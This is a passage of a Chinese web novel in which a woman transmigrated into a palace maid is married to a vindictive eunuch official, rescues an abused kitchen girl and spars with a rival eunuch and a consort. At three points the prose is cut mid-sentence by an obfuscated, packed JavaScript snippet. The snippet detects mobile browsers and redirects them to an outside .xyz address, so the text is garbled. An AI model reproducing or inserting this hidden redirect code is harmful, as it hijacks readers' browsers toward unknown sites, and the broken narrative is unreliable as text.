元一和元二进来,荀秋对他们吩咐把床上的被褥通通换掉。 两人看着荀秋衣冠不整的样子瞄一眼就立刻低下头,走过来发现赵青萍还坐在床上,为难道:“夫人,老爷叫我们重新铺床。” 赵青萍从床上下来,两人把床重新铺好后飞速离开。 荀秋站在离赵青萍几步远的面盆架前洗手,赵青萍看到他高大的身影突然感觉有些后怕。她还是应该改变策略,拿出自己专业客服的职业素养,用如沐春风般的态度和刻在脸上的微笑来感化这位对原身有着刻骨仇恨的太监。 赵青萍凑过去,“老爷,既然您不想和妾身同房,那妾身就不打扰你休息了,妾身去其他房间睡觉。” 古代达官贵人的府邸都修得豪华宽敞,荀秋这个权势滔天的大太监应该更是这样,随便给她一间房子住总归不是问题。 赵青萍见他不说话当他默认,当即就迈开腿准备开溜。 “站住,新婚之夜哪有分房睡的道理。再说荀府里头没准备娘子的房间,娘子就将就和我挤一间吧。” 这么大的宅子没有房间,要糊弄她也不找一个好借口,她还是转过身露出一脸微笑,“夫君,妾身睡相不太好,怕是会让夫君不能安眠。” 荀秋也回以微笑,“不要紧,娘子不和我一起睡。” “那我睡哪儿啊?” 这房间里头就只有一张床啊。 荀秋走到她身边,好心地指点她,“娘子,这张小榻想必足够你睡了。为夫困了,娘子也早点安歇。” 侧头看了旁边挨着隔屏的一架木榻,宽度跟火车的卧铺差不多。她扭过头对着荀秋的背影狠狠瞪上一眼却也无可奈何。 常言道,人在屋檐下不得不低头。为了活下去,她可以忍。 4. 小彩 好在木榻下头有两扇滑轨柜门,里头放着枕头和一床铺盖,看来这个位置就是为值夜的人准备的,赵青萍觉得荀秋这是把她当成守夜的丫鬟了。无所谓丫鬟就丫鬟,她在现代社会连牛马都当了。 她刚把床铺好,里头荀秋已经把蜡烛都熄了。折腾了一天赵青萍也困得不行,也熄了蜡烛躺到小榻上开始睡觉。 外头的赵青萍已经睡熟,里头的荀秋却辗转无法入睡。 赵青萍毁了自己原本的人生,如果不是当年她横加阻拦他原本可以安葬好哥哥后就去白云书院读书,戚先生当时承诺为他免除束脩。哥哥让他将来好好读书光耀荀家门楣。可是因为她,他成为了一个太监,他是成了荀家的耻辱。 哪怕他再位高权重都改变不了世人对他的看法,他不过是一个阉人。 长叹一口气,他起身走到外间的茶桌旁喝茶,赵青萍头朝着外头睡得正熟。 真是心大,和他同处一室居然还能呼呼大睡。 荀秋冷笑,走到赵青萍身旁,眼神冷冷地盯着她,一只手掐上了赵青萍的脖颈。她的脖颈纤细,一只手都握的过来。 只要他用力一掐,他俩的宿怨就可以一笔勾销,他慢慢用力,手掌一寸寸压紧她细腻的肌肤。赵青萍因窒息感产生的嘤咛声在他耳畔响起。 不,这样太便宜她了,他要让她在自己身边赎罪,永远做自己这个阉人的娘子,和他一同遭受世人的唾弃。 松开了手,荀秋转身回到床上睡觉。 一切归于寂静,黑夜中的赵青萍睁开了眼睛,滚烫的泪水从她的眼框里无声地滑落。 这本不该是她的一切,她没做过任何对不起荀秋的事。可是因为她继承了这具躯体,她就要继承这具躯体的一切。所以即使是荀秋对原身的报复,她也要受着,原身死了,她做的恶果现在只好由她来偿还。 荀秋刚才没有杀自己,或许是在顾念着什么,不知道这样的杀意他是否还会再起,但只要她一日不死,她就要好好活着。赵青萍望着漆黑的屋顶,等着自己脸上的泪水干涸后,她才闭上双眼继续入睡。 才过卯时门外已经传来宝全的声音,“老爷,时辰到了。” “进。” 宝全领着元一元二进屋,看到在小榻上熟睡的赵青萍都装作没看见,径直往里间走去。 赵青萍被他们脚步声吵醒,正想骂谁家大早上扰人清梦,睁开眼看到雕花的黑漆隔屏,方才想到自己已经穿越到了这个万恶的封建社会,成了一个太监的娘子。 元一元二捧着东西进进出出,没有人叫她,她就继续装睡。 荀秋在宝全的侍奉下穿戴好一切,头戴三山冠,身着红色织金圆领,腰系革带,脚踩皂靴。 荀秋正了正自己的帽子,问一旁的宝全,“夫人醒了没有?” 宝全笑道:“方才瞧着还没醒。” 老爷这样子瞧着也不像是讨厌夫人,两人分床睡却又不分房睡,他着实有些搞不明白。 荀秋撇嘴,赵青萍真是没心没肺,这么大的动静她也睡得着。 经过外间小榻时,他故意放慢脚步,吩咐道:“早饭就不必为夫人准备了,夫人昨夜辛苦,让她好好睡一觉。” 元一和元二被他暧昧不明的话勾起了遐想,又不敢当着荀秋的面好奇,两个人只好歪头对视了一眼。 赵青萍在心里暗骂,什么她昨夜辛苦了,明明他才辛苦,半夜还要起床掐人脖子。还不给她早饭吃,死太监。 荀秋一行人走后,屋内又安静下来,赵青萍迷迷糊糊又睡了过去。 一觉睡到大天亮,赵青萍发现自己除了昨天的喜服外没有可以穿出去的衣裳。 朝外头喊了一声,元一进来,“夫人,有什么吩咐?” 赵青萍裹在被子里,笑道:“有我的衣裳吗?我从宫里出来没有带衣裳。” 元一走到小榻旁边的两个黄梨木方角柜,打开柜门对赵青萍说道:“夫人,您的衣裳老爷都叫预备好了,这两个衣柜里头都是。” 又指着靠着窗户的一个梳妆台,“这是今早抬进来的,老爷已经叫里头已经放好了首饰,夫人都可以随便取用。” 赵青萍搞不懂荀秋这是玩哪一套,怎么又对她这个仇人这么好了。元一还在等着她的吩咐,她点点头,“好,我知道了,你先下去吧。” 赵青萍随便找了一件藕荷色的袄裙,洗漱过后,肚子就不争气地叫起来。她知道早上荀秋故意说了不给她早饭吃,元一他们也不好违背。她问了元一去厨房的路,自己去找点吃的他总没有话说。 从正房出来穿过抄手游廊,绕过二房再沿着甬路一直走就到了厨房。厨房离主院不远,是一座单独的小院子,厨娘帮厨们都住在这里。 赵青萍还没走进院子,就听到里头传来打骂的声音。 “小贱蹄子,我的话你都敢不听了,我让你把这些个衣裳都洗了,你怎么还没有洗?” “窦大娘,我早上一直在忙,我连早饭都没有吃,我不是不洗,我想吃完早饭就去洗。” “吃早饭,你吃我巴掌吧。” 赵青萍走进去就见一个身材魁梧的妇人恶狠狠地甩动膀子把一个瘦得跟豆芽菜的小姑娘扇倒在地。 小姑娘的黄瘦的脸上立时浮现一个鲜红的掌印。 小姑娘躺在地上可怜地哭着,那妇人似还不解气,想把那桌上的热粥往小姑娘的身上倒去。 “你干什么?”赵青萍赶紧出言阻止。又蹲下来把地上的小姑娘搀起来,拿出手帕给小姑娘擦去脸上的泪水。小姑娘可怜巴巴地看着她,小脸都要皱成一团,大大的眼睛里满是感激的神色。 见是一个陌生女人,以为是新来报道的厨娘,窦大娘瞪赵青萍一眼,吊起嗓子冲她吼:“你是谁啊,跑到老娘面前撒野。”她相公可是厨房管事,整个厨房还没有谁敢跟她对着干。 看着小彩畏畏缩缩的样子她恶狠狠地乜她一眼,小彩见状赶忙躲到了赵青萍身后。赵青萍发觉小彩的不安,拍拍她的手,示意小彩先站到一边。赵青萍担心对面妇人一会儿要跟自己打架,怕会误伤小彩。 “你管我是谁,你一把年纪干嘛跟个小姑娘过不去,她做错了什么你要打她?”赵青萍丝毫不怵地挺着胸脯问她。 窦大娘上下打量赵青萍几眼,轻蔑一笑,这个新厨娘还挺爱多管闲事。她端起身边的热粥也不说话径直就往赵青萍的面上泼去,赵青萍看她动作往旁边跑了两步,热粥一点没撒到她的身上。 反倒是突然从门外进来了一个圆脸男人,那热粥刚好不偏不倚撒到男人的胸口。男人毛青色的外衣被热粥染湿成黑乎乎的一团,几粒黏糊的米粒还粘在布料上面,显出几分滑稽。 圆脸男人登时怒目圆睁,恶狠狠地瞪着对面的窦大娘,他这个婆娘真是欠打。看到旁边的墙边立着的扫把就想往窦大娘的身上招呼,想到身后跟着的元一公公,便生生忍了下来。 元一看到赵青萍真的在这儿,赶忙走到她身边,上下看她,关切道:“夫人,你没事吧?” 赵青萍摇头,“我没事。” 窦大娘听到元一说的话,一下子萎靡下去,吊高的眉毛也耷拉下去。这个女人竟然不是厨娘是昨天新过门的夫人。太监娶妻在民间是个笑话,可他们依附着荀府活着的人,只要进了门都是他们的主子。她竟然敢得罪夫人,她和丈夫肯定在这荀府没有了活路。 她连忙跪到赵青萍面前认错,“夫人,是奴婢没长眼睛冲撞了夫人,夫人大人不计小人过,饶恕奴婢这一回吧。” 见到窦大娘磕头,赵青萍下意识想赶紧扶她起来,手伸出去一半又想起来如今自己的身份还有窦大娘刚才凶狠的模样,伸出来的手硬生生缩了回去。她抬头看见豆芽菜还怯生生地站在那里,招手让豆芽菜到自己身边来。 “你叫什么名字?”赵青萍拉着她的手问。 豆芽菜埋着头,“回夫人,我叫小彩。” 赵青萍摸摸小彩的脑袋,转头问旁边的元一,“元一,我想把小彩调到我身边做丫鬟,可以吗?” 元一思忖片刻,点点头,“自是可以的。”夫人身边本来就没有服侍的丫鬟,宝全公公都说还要去采买些可靠的回来” “小彩,你愿意跟着我吗?”赵青萍微笑着问她。 小彩抬起头看她,黑琉璃般的眼睛亮闪闪,她扑通一声跪在赵青萍面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516360|186234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,激动道:“小彩愿意,多谢夫人。” “快起来,快起来。”赵青萍说着把小彩从地上拉起来。 看了眼还跪着的窦大娘,赵青萍对元一说:“你看着处理吧,我这会儿肚子饿了去找些吃的。” 她也不清楚这个荀府的规章制度,还是交给有经验的人更好。她本来肚子就饿,现在更是饿到有些胃痛了。 小彩听到赵青萍说饿了,小声道:“夫人,我知道哪里有吃的。” 赵青萍跟着小彩在厨房里每人吃了一屉小笼包又喝了一碗粳米粥。等她吃饱喝足从厨房里出来元一已经处理好了,见她出来对她汇报道;“夫人,窦大娘夫妇我已经把他们打发到庄子上去了。” “好。”赵青萍没有异议。 回到主院后赵青萍才发现荀秋的这个主院分明很大,正房三间,左右两间厢房,正房左右还有耳房。他明明可以随便给她一间房住,非要让她和他挤在一间屋子。 元一领着小彩去安排住所,赵青萍回到小榻上歪着,趁荀秋没回来,她要尽情放松。 眼睛瞄到一旁的梳妆台,她才想起自己昨天从宫里带出来的珠宝还躺在昨天喜床的床底下。那是原身半辈子的积蓄,她可不能弄丢了。按照昨晚的模糊记忆,她找了半个时辰才找到那个院子。 索性院门没有锁,她走进去想到昨天晚上发生在这里的一切,浑身起了鸡皮疙瘩。她打开房门,发现里头已经打扫得干干净净,她伸手到床底下摸索,她的那个包袱还安然无恙地躺着。 拿好东西赵青萍赶紧离开了这个院子。 回去把包袱藏在了自己的衣柜里面,虽说荀秋看不上她的这点东西,她还是藏好自己比较有安全感。小彩换了一身水粉色的对襟袄,看起来很是活泼可爱。 赵青萍拉小彩到绣凳上坐下。“小彩,你多大年纪了?” “回夫人,我十二岁了。”小彩道。 十二岁,换成现代还是在读初中的年纪,在这个时代都是能劳作,进别人家当丫鬟的年纪了。记起原身,也是十二岁那年双亲病逝,她带着九岁的妹妹赵曼婷投奔到舅舅家,结果舅舅偷偷私吞了她们家的产业。在家里也是把她们两姐妹当丫鬟使唤,十五岁那年,曼婷被人拐了,她因为表哥得罪了威武将军府的独子,舅舅要把她送给对方当妾。幸亏表妹告诉她,她才能进宫逃过一劫。 “你家中还有什人?”赵青萍问。 “还有一个哥哥,我来京城就是想找哥哥的。” “来京城?那你原先是哪里人?” “我是浙州府人琼台县人,我家本来都是渔民,但是常有倭寇前来作乱,我爹娘就是在我九岁的那年被倭寇给杀死了。我被邻居大娘藏到地窖里头才活下来。我哥哥是走镖的,在京城的一家镖局里上工,我去那个镖局问,人家说我哥哥走镖掉溪里淹死了。” “我没有钱就在街上讨饭,有次在丹凤大街上不小心撞到一个公子,对方要打我,是老爷当时经过帮了我。后来老爷知道我无处可去就收留我在府上帮忙。” 小彩年纪轻轻身世竟然如此坎坷,赵青萍在心里默默叹息。出乎她意料的荀秋竟然还是个见义勇为,知道扶贫惜弱的好人。 “那今日厨房里的那个窦大娘为什么要打骂你?” 小彩抿唇,过了一会儿才开口道:“窦大娘的男人是厨房里的管事,窦大娘又知道我是个无依无靠的,所以喜欢支使我干活,有时我干慢了就打我。厨房里头没人敢惹她,她知道其他人也不敢帮我,她就越打越厉害。” 小彩说着说着流下泪来。 赵青萍拍拍她的肩膀安慰道:“小彩别怕,现在她走了,你是我的人了,我会保护你的。” 小彩抹抹眼泪,抬头笑着看她,“多谢夫人,小彩会好好服侍夫人的。” 吃过午饭,赵青萍和小彩两个到府里各处转转。主院后头是一个花园,各色花卉争奇斗艳。花园边缘处还连接着一个人工池塘,名为半月池。 坐在半月池边的亭子里吹风,真是说不出来的惬意。 不过这份惬意没维持多久,元一就找了过来,“夫人,老爷让你现在去前院。汪公公来了。” 5. 送子观音像 汪公公?难道是常来萧贵妃宝安宫的司礼监随堂太监汪忠?据原身所知汪忠可是和荀秋不对付,竟然会来荀府,她倒要去看看这个汪公公来所为何事。 赵青萍在元一的领路下走到前院,前院的面积算不得大,院中角落里栽了几丛芭蕉,高低错落的叶片在阳光底下泛着绿光,显出几分风雅之气。走进正厅,只见荀秋穿一身红色织金的圆领袍坐在上首的紫檀交椅上。下首摆了两排十二把官帽椅,同样穿红色圆领袍的汪忠就坐在右边的第一把椅子上。 赵青萍走过去跟二人行礼,随后走到荀秋旁边的交椅上坐下。 这汪忠太监跟赵青萍记忆中的一样,三十多岁的年纪,身材干瘦,脸颊凹陷,一双眼睛又细又长,幽幽透着阴鸷的光。 见赵青萍到了,汪忠搁下手里的茶碗,笑道:“荀公公,昨日是你的大喜日子,咱家与荀公公是同僚本是该来讨杯喜酒喝的,只是不巧昨日皇上和贵妃娘娘在宝安宫对弈非要咱家相陪。所以只好今日来府上给荀公公送上咱家的贺礼了。” 说完朝后头招手,随从的小太监从锦盒里拿出一个一尺左右高的菩萨像递给汪忠。汪忠拿过,起身放到了荀秋面前的桌上。 “荀公公,这就是咱家的贺礼,上好的羊脂白玉雕的送子观音像,荀公公虽说用不上,也权当个念想吧。”说完翘起兰花指掩嘴一笑,慢腾腾回到座位上。 荀秋冷冷扫了送子观音像一眼,转过头似笑非笑地打量着汪忠。 汪忠正高兴,也不再意荀秋的目光。他荀秋在宫里的资历比自己浅,却能越过自己当上秉笔太监,皇上还把玄禁卫都交在他手里,而他自己却只能是个随堂太监,他如何能甘心。 赵青萍侧过头看这尊送子观音像,雕工精致,用料上乘,造假应该不菲。这个汪公公为了恶心荀秋还是挺舍得出钱的。赵青萍抬头看向荀秋,他俊美的侧脸此刻冷若寒霜,想必正在为汪忠生气。其实如果他没有净身,以他的美貌,生的孩子定然也是个好看的。可惜没有这种可能了。 赵青萍转向笑得正得意的汪忠:“多谢汪公公给我们家老爷送这份贺礼,回头我就把祂给供上,日日烧香祈祷汪公公能早日喜得贵子。” 恶心人谁不会呢? 汪忠怒道:“赵青萍,你说什么鬼话。我哪里来的孩子?” 这赵青萍果然可恨,才嫁给荀秋一天就知道帮着荀秋说话了。贵妃说她是条养不熟的狗,果真如此。等他回宫,他要把今天发生的一切好好给贵妃说说。 “那汪公公送这东西给我家老爷是什么意思?你难不成是故意的?” 看到汪忠吃瘪,赵青萍心中高兴,自己也是个太监还在这里讽刺荀秋生不出孩子。 汪忠不悦地乜他一眼,转头对荀秋道;“荀公公,咱家宫里还有事,先告辞了。”说完又瞪赵青萍一眼灰溜溜地走了。 赵青萍脸上露出灿烂的笑容,扭头发现荀秋正在盯着自己看,“老爷,怎么了?” “娘子帮我说话不怕得罪汪忠?”荀秋道。 “谁让汪忠欺负你呢,再说我都是老爷的人了,有老爷给我做主,妾身不怕得罪他。”赵青萍一脸谄媚的笑。 汪忠哪里有荀秋吓人,她脖子现在都还在痛呢。 荀秋冷冷看着她,“是吗?看来娘子对我用情至深啊,这尊观音像就送给娘子了。” 赵青萍不信佛,自然没有拜佛的习惯。不过用料这么好的观音像肯定可以卖个好价钱。 “多谢老爷,那妾身就不客气了。”赵青萍说完就把观音像用手拿住。 看见她脸上的喜色,荀秋没好气地冷哼一声,起身走了。 看到荀秋离开,赵青萍也跟在他后头慢慢走着。 小彩跟在她身后,“夫人,我来拿吧。” “不用,不重的。” 赵青萍把观音像也放到了自己的衣柜中,谁让她现在没有独立的房间,连放点东西都找不到地方。荀秋一回主院就去了书房。赵青萍无处可去,就只好在屋里跟小彩两人聊天。 转眼到了晚饭时间,元一到房间里来请她去吃饭。 饭厅就在正房中间的那间,荀秋这间卧房的隔壁。她到的时候荀秋还没有来,黄梨木的圆桌上摆放有七八道菜,红烧鱼,小煎鸡,四喜丸子……好不丰盛。 闻到香味赵青萍的唾液已经开始分泌。荀秋还没来,她也不能动筷就站在窗边看四足花盆里头摆放的春兰。春兰六支花剑上的嫩绿色花朵已经全部盛放,傲然挺立在蓊郁的兰叶之间。她所在的福利院院长也很喜欢兰花,在她家里养了十多种不同品种的兰花,赵青萍也被邀请到她家去看过花,只是时间太久,她也不记得有没有看过眼前的这个品种了。 荀秋过来看到她正在看花,婀娜的身姿像朵盛放的牡丹,一点不似清新出尘的兰花。他讽刺道:“夫人也懂赏兰?” 突然听到荀秋的声音,赵青萍吓了一跳,在心里翻了一个白眼,回答道;“妾身不懂,只是看看。” 赵青萍转过身对着他,眼前的荀秋又换了一件竹青色的直裰,头上是根竹叶样子的碧玉簪子。看上去倒是风度翩翩,一表人才。 “既然夫君到了,咱们也开饭吧?”赵青萍殷勤地过去给荀秋拉开椅子。 荀秋笑着看了她一眼,走到椅子上坐下。 见他坐定,赵青萍也拉开椅子想要坐下。 “慢着,还有一道菜没有上。”荀秋伸手搭在椅子上阻止赵青萍坐下。 赵青萍不明白还有菜没上跟她坐下有什么关系,荀秋这是故意要在吃饭的时候找她不痛快。 谁让她欠他的,现在还要吃他住他的,她忍了。赵青萍在旁边站定等着看他究竟要做什么。 不一会儿,宝全就端着一个托盘走了进来,走近看托盘上放着巨大一盆虫草鸡汤。 “夫人,给。”宝全笑着把手里的托盘往她面前递。 赵青萍看那满满登登的一盆鸡汤,又狐疑地看向荀秋,这是什么意思?要她给他上汤吗? 荀秋在慢条斯理地夹菜吃,没有理她。赵青萍见宝全端着汤的手都在颤抖,便伸手接过汤盆。正要往桌上放,荀秋侧过头看她,“夫人先等等,我暂时还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516361|186234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想喝汤。” 宝全见赵青萍拿走了鸡汤,便把托盘递给旁边的元一。沉甸甸的鸡汤端在手里,赵青萍的双手没过一会儿就感觉十分酸痛,看着盆里黄澄澄的鸡汤,她简直想把手里的汤一股脑泼到荀秋的身上。 不过也只是想想而已,她知道荀秋这么做就是为了报复她,她要是敢朝他泼汤,估计下一秒他就要把她给杀了。 荀秋回头瞥了赵青萍一眼,她痛苦的表情和端着汤盆发抖的手都很好地取悦了他。他笑着吃完了半碗米饭,连素日不喜欢的萝卜都多吃了几口。 宝全看赵青萍这幅模样也朝她投去可怜的眼神。老爷要这么做,他也帮不上忙。 赵青萍觉得自己的手已经不是自己的手了,又酸又痛,她再多一秒钟都端不住了。她端这么久应该也够让荀秋开心了。赵青萍把汤盆放到了桌上,重重地甩了甩自己酸痛的手。 荀秋搁下筷子,笑道:“哎呀,真是对不住,为夫竟然忘了娘子还端着汤呢。” 赵青萍被荀秋惺惺作态的表情恶心到了,她在心里翻了个白眼,面上还是堆着笑:“没关系,老爷定然是太过劳累了,才会年纪轻轻记性不好,这个虫草鸡汤是大补的,我给老爷盛一碗,补一补脑子。” 赵青萍给荀秋盛了一碗鸡汤递到他面前,“喝吧老爷,都是妾身的心意。” 荀秋瞟了她一眼,端起鸡汤喝了一口。 “多谢娘子,看到娘子这么纤瘦,为夫实在心疼。” “来,吃块肘子补一补。” 赵青萍看到荀秋夹到她碗里的一大块红烧肘子皮,又在心里问候荀秋,这个死太监心眼真的小。她毫不怀疑自己再给他夹菜,他能把那整个肘子的肥肉都给她夹到碗里。算了,她不跟一个死太监计较,安心吃饭。 “娘子怎么不吃为夫夹的菜,可是对为夫不满?”荀秋已经吃好,此刻手撑在桌上眼神定定地睨着赵青萍。似有一种她不吃这块肥肉他就不罢休的感觉。 赵青萍完全明白他的想法,不就是她难过他就开心嘛。看了眼碗里红彤彤的肘子皮,赵青萍忍着恶心几口把它吃进了嘴里,又赶紧塞了几口米饭,才忍住了要呕吐出来的冲动。 荀秋掩着嘴角笑,“娘子慢慢吃,为夫有事先走了。” 赵青萍看到了荀秋嘴角的笑容,冲着荀秋的背影做了一个鬼脸,她心情才好了许多。 晚上荀秋在书房待到很晚才回房,赵青萍洗漱过后就躺在小榻上睡了过去。正梦到自己拿了新房的钥匙,美滋滋地规划着装修,突然就被荀秋的声音叫醒。 “娘子,我渴了,给我倒杯水来。” 赵青萍无奈地睁开眼,深深叹了一口气,挣扎着起身去茶桌倒了一杯水递给里间床上的荀秋。 荀秋看她睡眼惺忪的模样,心中偷笑。赵青萍实在困得很,没有心情和荀秋计较,给他端完水又转身倒回了她的小榻。 第二天一早,她睡得正香,荀秋起床的叮叮咚咚的声音又把她吵醒。好不容易等到荀秋走了可以继续睡觉,小彩又进来喊她,“夫人,宫里来人说萧贵妃要见你。” 6. 有病的常侍卫 听到萧贵妃三个字,赵青萍立马清醒过来,原身跟萧贵妃完全是对立的两个人,萧贵妃现在要见自己,肯定没有好事情。 坐上马车,行了小半个时辰的车程,元一把她送到了皇宫门口的一处角门。循着原身的记忆,赵青萍一路走到了宝安宫。 门口的洒扫宫女燕秋看到她来了忙朝里头通禀。 “青萍姐姐,贵妃娘娘叫你进去。” 燕秋才来宝安宫不久,与赵青萍相处时间不多,对她的印象还算不错。 赵青萍笑着朝她颔首,一路进了宝安宫的内殿。萧贵妃是太后的侄女,皇上的表妹,又是兵部尚书唯一的女儿,从小在家里金尊玉贵地长大。入宫也是立即封的贵妃之位,她住的宝安宫是除了皇后的永和宫外后宫中最大的一座宫殿。里头的陈设顽器无一不是珍稀佳品。 莲心在殿内等她,赵青萍对她行礼:“见过莲心姑姑。” “贵妃娘娘正在梳妆,命你在这里跪候。”莲心冷淡道。 赵青萍心下叹气,她就知道叫自己来没什么好事,萧贵妃召她进宫果然就是为了折磨她。 她认命地跪好,莲心让叫来另一个宫女燕南看着她。 赵青萍从小就是孤儿,在福利院长大,她连过年都不用上坟,连自己的祖宗都没有跪过。今天却要来这里跪这个萧贵妃。 赵青萍有意想和看着自己的燕南聊聊天,刚叫对方的名字,燕南就扭过头去不理她。知道人家没兴趣,赵青萍也不好强求。她盯着地上的地毯看,富贵的牡丹,花瓣硕大艳丽,姿态雍容华贵。看够了地毯又看向屋内摆放的各色器具。等屋内她目光所及的器具都看了一遍,萧贵妃才在众多宫女的簇拥下姗姗来迟。 萧贵妃年方二十二岁,鹅蛋脸,柳叶眉,一双明亮的杏眼,实打实的一个绝色美人。今日身着一袭水红色的留仙裙,发髻盘成灵蛇髻,上面插了牡丹样式的宫花和七八只各式的金簪,看上去着实雍容华贵,仪态万千。 赵青萍抬头看了萧贵妃一眼,萧贵妃才怀孕三个月,她身材纤瘦,此刻小腹依旧平坦。她脸上仍旧是那副倨傲的神色,当然萧贵妃看向她的眼神里还多了几分的厌恶,嫌弃和不满。 “民女赵青萍给贵妃娘娘请安。”赵青萍跪拜道。 和荀秋成亲的唯一好处就是她脱离了宫人的奴籍,成了一个普通的平民。 萧贵妃轻蔑地扫了她一眼,低头摆弄起自己的指甲。 赵青萍对她的反应早有预计,好在她此刻除了膝盖跪久了有点痛,其他也没有什么不适,她尽量保持合格的跪姿让对方挑不出毛病。 又过了一盏茶的功夫,萧贵妃才慢悠悠开口道;“起来吧。” “谢贵妃娘娘恩典。”赵青萍从地上爬起来,跪了太久,站起来膝盖发软,她差点没一头倒下去,往前跌跌撞撞走了两步才勉强站稳。 她滑稽的姿势引得在场的宫女们纷纷发笑,莲心冷眼扫过她们,满宫的笑声立时停止下来。 萧贵妃道:“昨天汪忠回来告诉我,你和荀秋可是琴瑟和鸣得很,看来你对本宫给你安排的这桩婚事很是满意?” 原来是汪忠那个告状精,他在自己这里吃瘪,就想让萧贵妃帮他出气。 赵青萍笑道:“自然是满意的,荀公公他为人体贴,对民女很好。” “哼,一个太监能有什么好。”站在萧贵妃身后的柳丝不屑道。她已经知道那天赵青萍在骗她,萧贵妃根本没有赏赐过什么奇兰香给她。 “那你新婚之夜可是和荀公公一起?”萧贵妃问。她就不相信赵青萍跟个太监当対食能有多高兴。这没有了子孙根的男人折磨起女人来手段更加残忍,她就是因为知道这个,才特意求了皇上给他们两个赐婚。荀秋总爱帮淑妃说话她不喜欢,赵青萍爬床她也不喜欢,把两个讨厌鬼凑在一块,也是费了她一番心思的。 赵青萍哪里看不出萧贵妃在想什么,她偏偏不让她如意。 她故意装出一副害羞的样子,“贵妃娘娘,新婚夜民女自然是与荀公公同房,我们同床共枕,该做了事情都做了的。公公怜惜我,第二天早上都没有叫我起床服侍。真是要感谢娘娘给民女赐的这桩婚事,让民女能遇到这样好的如意郎君。” “贵妃娘娘,你看她不要脸的样子。”柳丝气道。 萧贵妃冷哼一声,心里也赞同柳丝的话。赵青萍真是个不要脸的女人,大庭广众之下居然毫不避讳地说和太监的房事。她心里对赵青萍的嫌恶又多了几分,这样的女人简直污了她的眼睛。 她伸出手,一旁的莲心赶紧伸出手臂托住,“本宫乏了,不想看到她,让她赶紧离开。” 莲心给柳丝使眼色,柳丝会意走到赵青萍面前趾高气昂地说:“滚吧,贵妃娘娘不想看见你。” 赵青萍巴不得早点走,对柳丝翻了一个白眼就躬身告退。 还没走出宝安宫,系统的声音就在她脑海响起:“宿主你好,现在有一个任务请查收,请在一个小时内见到攻略对象荀秋,否则将遭受惩罚。计时现在开始,计时器显示在宿主的左手手心。” 赵青萍伸出自己的左手看,手掌心正在显示倒计时,00:59:46,红色的数字在飞速地跳动,赵青萍的心情一下子紧张起来。想到刚才系统说的完不成将会有惩罚,她问道: “完不成有什么惩罚?” “完不成任务,宿主将会牙痛一整天。” 赵青萍叹口气,“那你能告诉我荀秋现在在哪儿吗?”她都不知道荀秋在哪儿,难道像个无头苍蝇乱转吗? “非常抱歉,无可奉告。” 赵青萍心里尖叫,看了眼掌心,时间只剩58分钟了,跟这个破系统说话就浪费了两分钟。 荀秋是司礼监的秉笔太监又是玄禁卫的都督,他有可能在宫里也有可能在宫外玄禁卫的衙门。她连玄禁卫的衙门在哪条街都不知道,一个小时根本不可能找到。在宫里去司礼监的值房碰碰运气说不定还能找到他。 司礼监的值房在承乾门旁边的青宁馆,从宝安宫走过去差不多就得花去四十分钟的时间。 赵青萍提起自己的裙子甩开腿以最快的速度往青宁馆的方向走,要不是宫内禁止奔跑,她都想要跑起来了。刚转入元和殿和永和宫之间的夹道,迎面就和一个宫里的侍卫差点撞到了一起。 “青萍姑娘。”对方叫住她。 赵青萍抬头看,原来是原身认识的御前侍卫常子充。常子充身高八尺,身材精壮,一张长脸,两只牛眼睛,勉强也可以称做一个帅哥。他穿着蓝色绣有飞鱼图案的曳撒,腰间佩剑,这身装扮倒让他显出几分气势来。 “常侍卫好。”赵青萍客气跟他打招呼,说完就打算越过他赶紧走。 常子充挡住赵青萍的去路,怜惜地看着她:“青萍姑娘,听说你皇上把你赏赐给了荀秋做対食,是我对不起你,我要是能够娶你,你就不必嫁给他了。太监不能人道,想必你一定很难过吧。青萍姑娘,只要你愿意,我永远都可以等你。” 常子充说得深情款款,赵青萍满脸问号。从原身的记忆来看这个常子充就和原身在宫里说过几次话,有一次他说想念家乡的荷叶饼,刚好萧贵妃赏赐了她一碟,她不爱吃就送给了他。他该不会以为原身喜欢他吧, 赵青萍伸手看了一眼掌心,时间真的不多了。 “常侍卫,荀公公待我挺好的,我不难过,我现在还有急事,我先走一步。” 赵青萍的腿才迈出去,常子充就伸出手挡住了她。 “不,青萍姑娘,你说的一定不是真心话。你这么美丽,怎么能甘心嫁给一个太监呢。是我辜负了你,你现在埋怨我,我也无话可说。但是,你要知道,我对你的心一直都是真的,我是真的考虑过要娶你的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516362|186234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵青萍低头翻了一个白眼,无话可说可以不说,她正在赶时间啊。还有这个大哥怎么这么喜欢自我感动,原身根本没有喜欢过他好吧。 